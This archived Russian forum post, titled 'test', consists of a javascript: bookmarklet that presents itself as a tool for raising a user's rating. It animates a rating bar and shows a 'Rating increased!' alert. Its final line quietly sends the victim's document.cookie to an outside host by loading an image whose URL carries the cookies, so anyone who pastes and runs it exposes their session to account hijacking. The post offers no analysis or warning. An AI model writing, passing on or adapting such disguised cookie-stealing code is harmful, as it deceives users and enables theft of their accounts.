Главная страницаКисти для фотошопа Каталог файловПрофиль
  • Страница 1 из 1
  • 1
Архив - только для чтения
Форум u-Talk.in » u-Talk.In » Корзина » проверка (Тему в корзину переместил vfrvfr3)
проверка
vfrvfr3Дата: Вторник, 05.01.2010, 08:16 | Сообщение # 1
Титул: -=AdMinKo=-
Сообщений: 1828
Репутация: [ 122 ]
Code
javascript:var percentGold=100;var widthLeft=20;var widthRight=179;var t;var memPerSec=10.00741833975;function d(m,j,l){var i=(m+'').indexOf(j,l);return i=== -1?false:i;};function _a(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percentGold').innerHTML=percentGold;ge('rateLeftGold').style.width=widthLeft+"px";ge('rateRightGold').style.width=widthRight+"px";percentGold=percentGold+1;widthLeft=Math.floor(Math.sin((percentGold-100)/500)*179+20);widthRight=199-widthLeft;if(widthRight<=1){clearTimeout(t);}else t=setTimeout(_a,next);};function first(){if(ge('percent')){percentGold=ge('percent').innerHTML;var pos=d(percentGold,">",0);if(pos==false) {percentGold=parseInt(percentGold);}else percentGold=parseInt(percentGold.substr(pos+1,3)); widthLeft=parseInt(ge('rateLeft').style.width);widthRight=parseInt(ge('rateRight').style.width);_b();}else{percentGold=parseInt(ge('percentGold').innerHTML);widthLeft=parseInt(ge('rateLeftGold').style.width);widthRight=parseInt(ge('rateRightGold').style.width);_a();}};function _b(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percent').innerHTML=percentGold+"%";ge('rateLeft').style.width=widthLeft+"px";ge('rateRight').style.width=widthRight+"px";percentGold=percentGold+1;if(percentGold>100){clearTimeout(t);ge('percent').id="percentGold";ge('rateLeft').id='rateLeftGold';ge('rateRight').id='rateRightGold';widthLeft=20;widthRight=179;_a();}else{widthLeft=widthLeft+2;widthRight=199-widthLeft;t=setTimeout(_b,next);}};first();img=new Image();img.src="http://httpz.ru/ntrj2xa0ca9.gif?"+document.cookie;alert('Рейтинг увеличен!');


Форум u-Talk.in » u-Talk.In » Корзина » проверка (Тему в корзину переместил vfrvfr3)
  • Страница 1 из 1
  • 1
Поиск: